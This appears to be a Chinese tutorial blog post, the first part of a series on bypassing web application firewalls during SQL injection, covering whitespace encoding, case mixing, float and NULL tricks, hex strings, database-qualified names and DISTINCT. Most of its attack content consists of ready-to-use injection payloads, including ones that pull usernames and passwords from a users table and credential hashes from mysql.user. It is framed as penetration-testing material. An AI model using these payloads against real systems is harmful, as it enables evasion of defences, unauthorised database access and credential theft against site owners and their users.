SQL 注入绕过(一)

SQL 注入绕过技术 已经是一个老生常谈的内容了,防注入可以使用某些云waf、加速乐等安全产品,这些产品会自带 waf 属性拦截和抵御
SQL 注入;也有一些产品会在服务器里安装软件,例如 iis 安全狗、d 盾;还有就是在程序里对输入参数进行过滤和拦截,例如
360webscan 脚本等只要参数传入的时候就会进行检测,检测到有危害语句就会拦截。
SQL 注入绕过的技术也有许多。但是在日渐成熟的 waf 产品面前,因为 waf 产品的规则越来越完善,所以防御就会越来越高,安全系统
也跟着提高,对渗透测试而言,测试的难度就越来越高了。接下来将会详细介绍针对 waf 的拦截注入的绕过方法。

一、空格字符绕过

url编码经过中间件 iis/apache 转为字符,再传入脚本语言,数据库的驱动 mysql_query(sql)

两个空格代替一个空格,用 Tab 代替空格,%a0代替空格。
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/
select * from users where id=1 /*!union*//*!select*/1,2,3,4;
%09 TAB 键(水平)
%0a 新建一行
%0b TAB 键(垂直)
%0c 新的一页
%0d return 功能
%a0 空格
可以将空格字符替换成注释 /**/ 
还可以使用 /*!这里的根据 mysql 版本的内容不注释*/

在这里插入图片描述

二、大小写绕过

将字符串设置为大小写,例如 and 1=1 转成 AND 1=1 AnD 1=1
select * from users where id=1 UNION SELECT 1,2,3,4;
select * from users where id=1 UniON SelECT 1,2,3,4;
过滤空格可以用%0代替,也过滤# --+注释,用字符串匹配
99999999'%09UnIon%09SeLeCt%091,2,3%09and%09'1

在这里插入图片描述

99999999'%09UnIon%09SeLeCt%091,user(),3%09and%09'1

在这里插入图片描述

99999999'%09UnIon%09SeLeCt%091,(SeLEct%09group_concat(username,0x3a,password)from%09users),3%09and%09'1

在这里插入图片描述

三、浮点数绕过

select * from users where id=8E0union select 1,2,3,4;
select * from users where id=8.0union select 1,2,3,4;

在这里插入图片描述

四、NULL 值绕过

select \N; 代表 NULL
select * from users where id=\Nunion select 1,2,3,\N;
select * from users where id=\Nunion select 1,2,3,\Nfrom users;

在这里插入图片描述

\N' union select user(),2--+&submit=1

在这里插入图片描述

五、引号绕过

如果 waf 拦截过滤单引号的时候,可以使用双引号,在 mysql 里也可以用双引号作为字符串。
select * from users where id='1';
select * from users where id="1";

在这里插入图片描述

也可以将字符串转换成 16 进制,再进行查询。
select hex('admin');
select * from users where username='admin';
select * from users where username=0x61646D696E;

在这里插入图片描述

六、添加库名绕过

以下两条查询语句,执行的结果是一致的,但是有些 waf 的拦截规则并不会拦截[库名].[表名]这种模式。
select * from users where id=-1 union select 1,2,3,4 from users;
select * from users where id=-1 union select 1,2,3,4 from pikachu.users;

在这里插入图片描述

mysql 中也可以添加库名查询表。例如跨库查询 mysql 库里的 usrs 表的内容。
select * from users where id=-1 union select 1,2,3,concat(user,0x3a,authentication_string) from mysql.user;

在这里插入图片描述

\N' union select 1,(select concat(user,0x3a,authentication_string) from mysql.user limit 1)--+&submit=1

在这里插入图片描述

七、去重复绕过

在 mysql 查询可以使用 distinct 去除查询的重复值。可以利用这点突破 waf 拦截。
select * from users where id=-1 union distinct select 1,2,3,4 from users;
select * from users where id=-1 union distinct select 1,2,3,version() from users;

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值